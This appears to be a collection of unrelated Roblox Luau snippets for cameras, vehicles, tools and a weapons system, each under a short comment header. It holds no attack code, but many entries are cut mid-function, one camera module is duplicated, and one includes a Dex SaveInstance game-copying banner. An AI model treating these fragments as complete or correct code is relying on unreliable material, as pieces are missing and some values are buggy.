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-- GuiObject to apply the shimmer to |
local guiObject = script.Parent
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 180 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 289 ,
spInc = 40 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 289 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
--[[
Adds a Spring to be updated every render step.
]] |
function SpringScheduler.add(spring: Spring)
local damping: number
local speed: number
if spring._dampingIsState then
local state: PubTypes.StateObject<number> = spring._damping
damping = state:get(false)
else
damping = spring._damping
end
if spring._speedIsState then
local state: PubTypes.StateObject<number> = spring._speed
speed = state:get(false)
else
speed = spring._speed
end
if typeof(damping) ~= "number" then
logError("mistypedSpringDamping", nil, typeof(damping))
elseif damping < 0 then
logError("invalidSpringDamping", nil, damping)
end
if typeof(speed) ~= "number" then
logError("mistypedSpringSpeed", nil, typeof(speed))
elseif speed < 0 then
logError("invalidSpringSpeed", nil, speed)
end
spring._lastDamping = damping
spring._lastSpeed = speed
local dampingBucket = springBuckets[damping]
if dampingBucket == nil then
dampingBucket = {}
springBuckets[damping] = dampingBucket
end
local speedBucket = dampingBucket[speed]
if speedBucket == nil then
speedBucket = {}
dampingBucket[speed] = speedBucket
end
speedBucket[spring] = true
end
|
-- Place this script inside a LocalScript in a part or a GUI button |
local button = script.Parent -- Assuming the script is inside a button's LocalScript
local objectToClone = game.Workspace.Dummy -- Replace "ObjectToClone" with the name of the object you want to clone
button.MouseButton1Click:Connect(function()
local clonedObject = objectToClone:Clone()
clonedObject.Parent = game.Workspace -- Adjust the parent as needed
clonedObject.Anchored = false
-- Additional customization for the cloned object can be done here
-- Optional: Make the cloned object disappear after a few seconds
spawn(function()
wait(1000000000000) -- Adjust the delay as needed
clonedObject:Destroy()
end)
end)
|
--[[Weight and CG]] |
Tune.Weight = 4000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 8.6 ,
--[[Height]] 7.9 ,
--[[Length]] 32.8 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
----- local ----- |
local BuyCasesEvents = game:GetService("ReplicatedStorage").Events.BuyCase
local OpenCasesEvents = game:GetService("ReplicatedStorage").Events.OpenCase
local MessagesEvents = game:GetService("ReplicatedStorage").Events.Messages
|
-- you can mess with these settings |
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson
CanViewBody = true -- whether you see your body
Sensitivity = 0.6 -- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05 -- recommend anything between 0~1
FieldOfView = 100 -- fov
HeadOffset = CFrame.new(0,0.7,0) -- how far your camera is from your head
local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local human = character.Humanoid
local humanoidpart = character.HumanoidRootPart
local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0
local running = true
local freemouse = false
local defFOV = FieldOfView
local w, a, s, d, lshift = false, false, false, false, false
|
-------- OMG HAX |
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .75 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
for i=1,#c do
if c[i].className == "Part" then
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.CoilSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
-- Set up the Local Player |
if RunService:IsClient() then
if LocalPlayer.Character then
onCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving)
end
local ShoulderCamera = {}
ShoulderCamera.__index = ShoulderCamera
ShoulderCamera.SpringService = nil
function ShoulderCamera.new(weaponsSystem)
local self = setmetatable({}, ShoulderCamera)
self.weaponsSystem = weaponsSystem
-- Configuration parameters (constants)
self.fieldOfView = 70
self.minPitch = math.rad(-75) -- min degrees camera can angle down
self.maxPitch = math.rad(75) -- max degrees camera can cangle up
self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player
self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming
self.normalCrosshairScale = 1
self.zoomedCrosshairScale = 0.75
self.defaultZoomFactor = 1
self.canZoom = true
self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2 }
self.sprintInputs = { Enum.KeyCode.LeftShift }
self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480)
self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200)
self.touchSensitivity = Vector2.new(1 / 100, 1 / 100)
self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200)
self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera),
-- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire
self.recoilDecay = 2 -- higher number means faster recoil decay rate
self.rotateCharacterWithCamera = true
self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65)
-- Walk speeds
self.zoomWalkSpeed = 8
self.normalWalkSpeed = 16
self.sprintingWalkSpeed = 24
-- Current state
self.enabled = false
self.yaw = 0
self.pitch = 0
self.currentCFrame = CFrame.new()
self.currentOffset = self.normalOffset
self.currentRecoil = Vector2.new(0, 0)
self.currentMouseRadsPerPixel = self.mouseRadsPerPixel
self.currentTouchSensitivity = self.touchSensitivity
self.mouseLocked = true
self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch
self.currentTool = nil
self.sprintingInputActivated = false
self.desiredWalkSpeed = self.normalWalkSpeed
self.sprintEnabled = false -- true means player will move faster while doing sprint inputs
self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs
self.desiredFieldOfView = self.fieldOfView
-- Zoom variables
self.zoomedFromInput = false -- true if player has performed input to zoom
self.forcedZoomed = false -- ignores zoomedFromInput and canZoom
self.zoomState = false -- true if player is currently zoomed in
self.zoomAlpha = 0
self.hasScope = false
self.hideToolWhileZoomed = false
self.currentZoomFactor = self.defaultZoomFactor
self.zoomedFOV = self.fieldOfView
-- Gamepad variables
self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position
self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera)
self.lastThumbstickPos = Vector2.new(0, 0)
self.lastThumbstickTime = nil
self.currentGamepadSpeed = 0
self.lastGamepadVelocity = Vector2.new(0, 0)
-- Occlusion
self.lastOcclusionDistance = 0
self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance
self.defaultTimeUntilZoomOut = 0
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out
self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person
self.isZoomingOut = false
self.tweenOutTime = 0.2
self.curOcclusionTween = nil
self.occlusionTweenObject = nil
-- Side correction (when player is against a wall)
self.sideCorrectionGoalVector = nil
self.lastSideCorrectionMagnitude = 0
self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance
self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction)
self.defaultTimeUntilRevertSideCorrection = 0.75
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction
self.isRevertingSideCorrection = false
-- Datamodel references
self.eventConnections = {}
self.raycastIgnoreList = {}
self.currentCamera = nil
self.currentCharacter = nil
self.currentHumanoid = nil
self.currentRootPart = nil
self.controlModule = nil -- used to get player's touch input for moving character
self.random = Random.new()
return self
end
function ShoulderCamera:setEnabled(enabled)
if self.enabled == enabled then
return
end
self.enabled = enabled
if self.enabled then
RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end)
ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs))
ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs))
table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end))
table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end))
table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end))
table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end))
table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end))
table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end))
self:onCurrentCharacterChanged(LocalPlayer.Character)
self:onCurrentCameraChanged(workspace.CurrentCamera)
-- Make transition to shouldercamera smooth by facing in same direction as previous camera
local cameraLook = self.currentCamera.CFrame.lookVector
self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z)
self.pitch = math.asin(cameraLook.Y)
self.currentCamera.CameraType = Enum.CameraType.Scriptable
self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor
workspace.CurrentCamera.CameraSubject = self.currentRootPart
self.occlusionTweenObject = Instance.new("NumberValue")
self.occlusionTweenObject.Name = "OcclusionTweenObject"
self.occlusionTweenObject.Parent = script
self.occlusionTweenObject.Changed:Connect(function(value)
self.lastOcclusionDistance = value
end)
-- Sets up weapon system to use camera for raycast direction instead of gun look vector
self.weaponsSystem.aimRayCallback = function()
local cameraCFrame = self.currentCFrame
return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500)
end
else
RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME)
ContextActionService:UnbindAction(ZOOM_ACTION_NAME)
ContextActionService:UnbindAction(SPRINT_ACTION_NAME)
if self.currentHumanoid then
self.currentHumanoid.AutoRotate = true
end
if self.currentCamera then
self.currentCamera.CameraType = Enum.CameraType.Custom
--#KM[Resets the camera position]
self.currentCamera.CameraSubject = self.currentHumanoid
end
self:updateZoomState()
self.yaw = 0
self.pitch = 0
for _, conn in pairs(self.eventConnections) do
conn:Disconnect()
end
self.eventConnections = {}
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
UserInputService.MouseIconEnabled = true
end
end
function ShoulderCamera:onRenderStep(dt)
if not self.enabled or
not self.currentCamera or
not self.currentCharacter or
not self.currentHumanoid or
not self.currentRootPart
then
return
end
-- Hide mouse and lock to center if applicable
if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
UserInputService.MouseIconEnabled = false
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
UserInputService.MouseIconEnabled = true
end
-- Handle gamepad input
self:processGamepadInput(dt)
-- Smoothly zoom to desired values
if self.hasScope then
ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 })
ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView })
else
ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 })
ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView })
end
-- Handle walk speed changes
if self.sprintEnabled or self.slowZoomWalkEnabled then
self.desiredWalkSpeed = self.normalWalkSpeed
if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then
self.desiredWalkSpeed = self.sprintingWalkSpeed
end
if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then
self.desiredWalkSpeed = self.zoomWalkSpeed
end
ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed })
end
-- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation
local rootPartPos = self.currentRootPart.CFrame.Position
local rootPartUnrotatedCFrame = CFrame.new(rootPartPos)
local yawRotation = CFrame.Angles(0, self.yaw, 0)
local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0)
local xOffset = CFrame.new(self.normalOffset.X, 0, 0)
local yOffset = CFrame.new(0, self.normalOffset.Y, 0)
local zOffset = CFrame.new(0, 0, self.normalOffset.Z)
local collisionRadius = self:getCollisionRadius()
local cameraYawRotationAndXOffset =
yawRotation * -- First rotate around the Y axis (look left/right)
xOffset -- Then perform the desired offset (so camera is centered to side of player instead of directly on player)
local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
-- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall)
local vecToFocus = cameraFocus.p - rootPartPos
local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius))
local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList)
local currentTime = tick()
local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0)
if hitPart then
hitPoint = hitPoint + (hitNormal * collisionRadius)
sideCorrectionGoalVector = hitPoint - cameraFocus.p
if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left)
if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly
elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection
end
self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
self.lastSideCorrectionReachedTime = currentTime
self.isRevertingSideCorrection = false
else
self.isRevertingSideCorrection = true
end
elseif self.lastSideCorrectionMagnitude ~= 0 then
self.isRevertingSideCorrection = true
end
if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right)
if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then
self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame
end
if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then
local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier
self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount
if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then
self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
self.lastSideCorrectionReachedTime = currentTime
self.isRevertingSideCorrection = false
end
end
end
-- Update cameraFocus to reflect side correction
cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude)
cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
self.currentCamera.Focus = cameraFocus
-- Calculate and apply CFrame for camera
local cameraCFrameInSubjectSpace =
cameraYawRotationAndXOffset *
pitchRotation * -- rotate around the X axis (look up/down)
yOffset * -- move camera up/vertically
zOffset -- move camera back
self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace
-- Move camera forward if zoomed in
if self.zoomAlpha > 0 then
local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded
self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha)
end
self.currentCamera.CFrame = self.currentCFrame
-- Handle occlusion
local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList)
if occlusionDistance > 1e-5 then
occlusionDistance = occlusionDistance + collisionRadius
end
if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player
if self.curOcclusionTween ~= nil then
self.curOcclusionTween:Cancel()
self.curOcclusionTween = nil
end
if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly
elseif self.lastOcclusionDistance == 0 and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut
end
if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then
self.timeLastPoppedWayIn = currentTime
end
self.lastOcclusionDistance = occlusionDistance
self.lastOcclusionReachedTime = currentTime
self.isZoomingOut = false
else -- make it hard/slow for camera to zoom out
self.isZoomingOut = true
if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame
self.lastOcclusionReachedTime = currentTime
end
-- If occlusion pops camera in to almost first person for a short time, pop out instantly
if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then
self.lastOcclusionDistance = occlusionDistance
self.lastOcclusionReachedTime = currentTime
self.isZoomingOut = false
elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then
self.timeLastPoppedWayIn = 0
end
end
-- Update occlusion amount if timeout time has passed
if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then
if self.curOcclusionTween == nil then
self.occlusionTweenObject.Value = self.lastOcclusionDistance
local tweenInfo = TweenInfo.new(self.tweenOutTime)
local goal = {}
goal.Value = self.lastOcclusionDistance - self.normalOffset.Z
self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal)
self.curOcclusionTween:Play()
end
end
-- Apply occlusion to camera CFrame
local currentOffsetDir = self.currentCFrame.LookVector.Unit
self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance)
self.currentCamera.CFrame = self.currentCFrame
-- Apply recoil decay
self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt)
if self:isHumanoidControllable() and self.rotateCharacterWithCamera then
self.currentHumanoid.AutoRotate = false
self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera
self:applyRootJointFix()
else
self.currentHumanoid.AutoRotate = true
end
self:handlePartTransparencies()
self:handleTouchToolFiring()
end
|
--Set up WeaponTypes lookup table |
do
local function onNewWeaponType(weaponTypeModule)
if not weaponTypeModule:IsA("ModuleScript") then
return
end
local weaponTypeName = weaponTypeModule.Name
xpcall(function()
coroutine.wrap(function()
local weaponType = require(weaponTypeModule)
assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName()))
WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType
end)()
end, function(errMsg)
warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg))
warn(debug.traceback())
end)
end
for _, child in pairs(WeaponTypes:GetChildren()) do
onNewWeaponType(child)
end
WeaponTypes.ChildAdded:Connect(onNewWeaponType)
end
local WeaponsSystem = {}
WeaponsSystem.didSetup = false
WeaponsSystem.knownWeapons = {}
WeaponsSystem.connections = {}
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
WeaponsSystem.currentWeapon = nil
WeaponsSystem.aimRayCallback = nil
WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent")
local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks"))
NetworkingCallbacks.WeaponsSystem = WeaponsSystem
local _damageCallback = nil
local _getTeamCallback = nil
function WeaponsSystem.setDamageCallback(cb)
_damageCallback = cb
end
function WeaponsSystem.setGetTeamCallback(cb)
_getTeamCallback = cb
end
function WeaponsSystem.setup()
if WeaponsSystem.didSetup then
warn("Warning: trying to run WeaponsSystem setup twice on the same module.")
return
end
print(script.Parent:GetFullName(), "is now active.")
WeaponsSystem.doingSetup = true
--Setup network routing
if IsServer then
local networkFolder = Instance.new("Folder")
networkFolder.Name = "Network"
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
local remoteEvent = Instance.new("RemoteEvent")
remoteEvent.Name = remoteEventName
remoteEvent.Parent = networkFolder
local callback = NetworkingCallbacks[remoteEventName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...)
callback(...)
end)
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
local remoteFunc = Instance.new("RemoteEvent")
remoteFunc.Name = remoteFuncName
remoteFunc.Parent = networkFolder
local callback = NetworkingCallbacks[remoteFuncName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
remoteFunc.OnServerInvoke = function(...)
return callback(...)
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end
networkFolder.Parent = WeaponsSystemFolder
WeaponsSystem.networkFolder = networkFolder
else
WeaponsSystem.StarterGui = game:GetService("StarterGui")
WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem)
WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem)
if ConfigurationValues.SprintEnabled.Value then
WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value)
end
if ConfigurationValues.SlowZoomWalkEnabled.Value then
WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value)
end
local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge)
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
coroutine.wrap(function()
local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge)
local callback = NetworkingCallbacks[remoteEventName]
if callback then
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...)
callback(...)
end)
end
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end)()
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
coroutine.wrap(function()
local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge)
local callback = NetworkingCallbacks[remoteFuncName]
if callback then
remoteFunc.OnClientInvoke = function(...)
return callback(...)
end
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end)()
end
Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded)
if Players.LocalPlayer.Character then
WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character)
end
WeaponsSystem.networkFolder = networkFolder
|
-- Put this script in StarterPack or StarterGui |
Player = game.Players.LocalPlayer
repeat
wait()
until Player.Character
Mouser = Player:GetMouse()
name = Player.Name
char = game.Workspace[Player.Name]
Animation = script.Anim
animtrack = char.Humanoid:LoadAnimation(Animation)
Mouser.KeyDown:connect(function(key)
if key == "c" then
animtrack:Play()
char.Humanoid.WalkSpeed = 8
end
end)
Mouser.KeyUp:connect(function(key)
if key == "c" then
script.Disabled = true
animtrack:Stop()
char.Humanoid.WalkSpeed = 16
script.Disabled = false
end
end)
|
-- Return whether left or right shift keys are down |
local function IsShiftKeyDown()
return UserInputService:IsKeyDown(shiftKeyL) or UserInputService:IsKeyDown(shiftKeyR)
end
|
--[[
Thank you for using Dex SaveInstance.
You are recommended to save the game (if you used saveplace) right away to take advantage of the binary format (if you didn't save in binary).
If your player cannot spawn into the game, please move the scripts in StarterPlayer elsewhere. (This is done by default)
If the chat system does not work, please use the explorer and delete everything inside the Chat service. (Or run game:GetService("Chat"):ClearAllChildren())
If union and meshpart collisions don't work, first run this script in the Studio command bar:
local list = {}
local coreGui = game:GetService("CoreGui")
for i,v in pairs(game:GetDescendants()) do
local s,e = pcall(function() return v:IsA("UnionOperation") or v:IsA("MeshPart") end)
if s and e and not v:IsDescendantOf(coreGui) then
list[#list+1] = v
end
end
game.Selection:Set(list)
After running it, go to the Properties window and change CollisionFidelity from "Box" to "Default".
This file was generated with the following settings:
IgnoreDefaultProps = true
Callback = false
Binary = true
Decompile = false
ShowStatus = true
Clipboard = false
RemovePlayerCharacters = true
MaxThreads = 3
DecompileIgnore = { "Chat", "CoreGui", "CorePackages" }
IsolateStarterPlayer = true
SavePlayers = false
DecompileTimeout = 10
NilInstances = false
]] |
NilInstances = false |
--// # key, Yelp |
mouse.KeyDown:connect(function(key)
if key=="t" then
if veh.Lightbar.middle.Yelp.IsPlaying == true then
veh.Lightbar.middle.Wail:Stop()
veh.Lightbar.middle.Yelp:Stop()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
else
veh.Lightbar.middle.Wail:Stop()
veh.Lightbar.middle.Yelp:Play()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
end
end
end)
|
--script.Parent.QQ.Velocity = script.Parent.QQ.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.QQQ.Velocity = script.Parent.QQQ.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.R.Velocity = script.Parent.R.CFrame.lookVector *script.Parent.Speed.Value |
-- Set up the Local Player |
if RunService:IsClient() then
if LocalPlayer.Character then
onCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving)
end
local ShoulderCamera = {}
ShoulderCamera.__index = ShoulderCamera
ShoulderCamera.SpringService = nil
function ShoulderCamera.new(weaponsSystem)
local self = setmetatable({}, ShoulderCamera)
self.weaponsSystem = weaponsSystem
-- Configuration parameters (constants)
self.fieldOfView = 70
self.minPitch = math.rad(-75) -- min degrees camera can angle down
self.maxPitch = math.rad(75) -- max degrees camera can cangle up
self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player
self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming
self.normalCrosshairScale = 1
self.zoomedCrosshairScale = 0.75
self.defaultZoomFactor = 1
self.canZoom = true
self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonR2 }
self.sprintInputs = { Enum.KeyCode.LeftShift, Enum.KeyCode.ButtonL2, Enum.KeyCode.RightShift }
self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480)
self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200)
self.touchSensitivity = Vector2.new(1 / 100, 1 / 100)
self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200)
